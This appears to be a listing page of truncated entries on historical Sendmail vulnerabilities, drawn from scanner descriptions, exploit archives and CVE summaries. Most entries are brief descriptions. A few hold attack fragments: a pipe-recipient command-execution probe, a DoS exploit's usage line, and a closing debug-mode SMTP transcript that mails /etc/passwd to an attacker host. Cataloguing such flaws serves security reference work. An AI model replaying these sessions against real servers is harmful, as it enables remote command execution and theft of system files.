Sendmail Redirection Relaying Allowed

The remote sendmail server accepts messages addressed to recipients of the form 'user@[email protected]'. A remote attacker could leverage this to reach mail servers behind a firewall or to avoid detection by routing mail through the affected host. C Tenable Network Security, Inc...

Sendmail mail from/rcpt to Pipe Arbitrary Command Execution

The remote SMTP server did not complain when issued the command : MAIL FROM: root@thishost RCPT TO: |testing This probably means that it is possible to send mail directly to programs, which is a serious threat, since this allows anyone to execute arbitrary commands on this host. This security hol...

Linux Kernel 2.0 Sendmail - Denial of Service

Linux Kernel 2.0 Sendmail - Denial of Service / source: https://www.securityfocus.com/bid/363/info The 2.0.x kernels have a quirk in the TCP implementation that have to do with the accept call returning after only a syn has been recieved as opposed to the three way handshake having been completed...

Linux Kernel 2.0 Sendmail - Denial of Service

/ source: https://www.securityfocus.com/bid/363/info The 2.0.x kernels have a quirk in the TCP implementation that have to do with the accept call returning after only a syn has been recieved as opposed to the three way handshake having been completed. Sendmail, which is compiled on many unices,...

CVE-1999-0205

Denial of service in Sendmail 8.6.11 and 8.6.12...

Sendmail 8.9.2 - Headers Prescan Denial of Service

Sendmail 8.9.2 - Headers Prescan Denial of Service / against.c - Another Sendmail and pine ;- DoS up to 8.9.2 c 1999 by Usage: ./against existinguseronvictimhost victimhost Example: ./against nobody lamers.net / include include include include include include include include include include inclu...

Sendmail 8.9.2 - Headers Prescan Denial of Service

/ against.c - Another Sendmail and pine ;- DoS up to 8.9.2 c 1999 by Usage: ./against existinguseronvictimhost victimhost Example: ./against nobody lamers.net / include include include include include include include include include include include include include define MAXCONN 4 define LINES...

CVE-1999-0478

Denial of service in HP-UX sendmail 8.8.6 related to accepting connections...

CVE-1999-0098

Buffer overflow in SMTP HELO command in Sendmail allows a remote attacker to hide activities...

CVE-1999-0047

MIME conversion buffer overflow in sendmail versions 8.8.3 and 8.8.4...

CVE-1999-0163

In older versions of Sendmail, an attacker could use a pipe character to execute root commands...

CVE-1999-0204

Sendmail 8.6.9 allows remote attackers to execute root commands, using ident...

CVE-1999-0129

Sendmail allows local users to write to a file and gain group permissions via a .forward or :include: file...

CVE-1999-0130

Local users can start Sendmail in daemon mode and gain root privileges...

CVE-1999-0131

Buffer overflow and denial of service in Sendmail 8.7.5 and earlier through GECOS field gives root access to local users...

Sendmail IDENT Remote root Vulnerability

Description A vulnerability in the IDENT function of sendmail 8.6.9 allows attackers to obtain remote root access. Very little other information on this vulnerability is currently available; this is an old vulnerability. Technologies Affected Eric Allman Sendmail 8.6.9 Upgrade to at least version...

Sendmail 8.6.9 IDENT - Remote Command Execution

Sendmail 8.6.9 IDENT - Remote Command Execution source: https://www.securityfocus.com/bid/2311/info A vulnerability in the IDENT function of sendmail 8.6.9 allows attackers to obtain remote root access. Very little other information on this vulnerability is currently available; this is an old...

AZL-7357 CVE-1999-0145 affecting package sendmail 8.15.2-46

Sendmail WIZ command enabled, allowing root access...

CVE-1999-0095

The debug command in Sendmail is enabled, allowing attackers to execute commands as root...

Berkeley Sendmail 5.58 - Debug

Berkeley Sendmail 5.58 - Debug 220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: 250 OK rcpt to: 250 OK data 354 Start mail input; end with . mail [email protected] /etc/passwd . 250 OK quit 221 mail.victim.com Terminating The sed in t...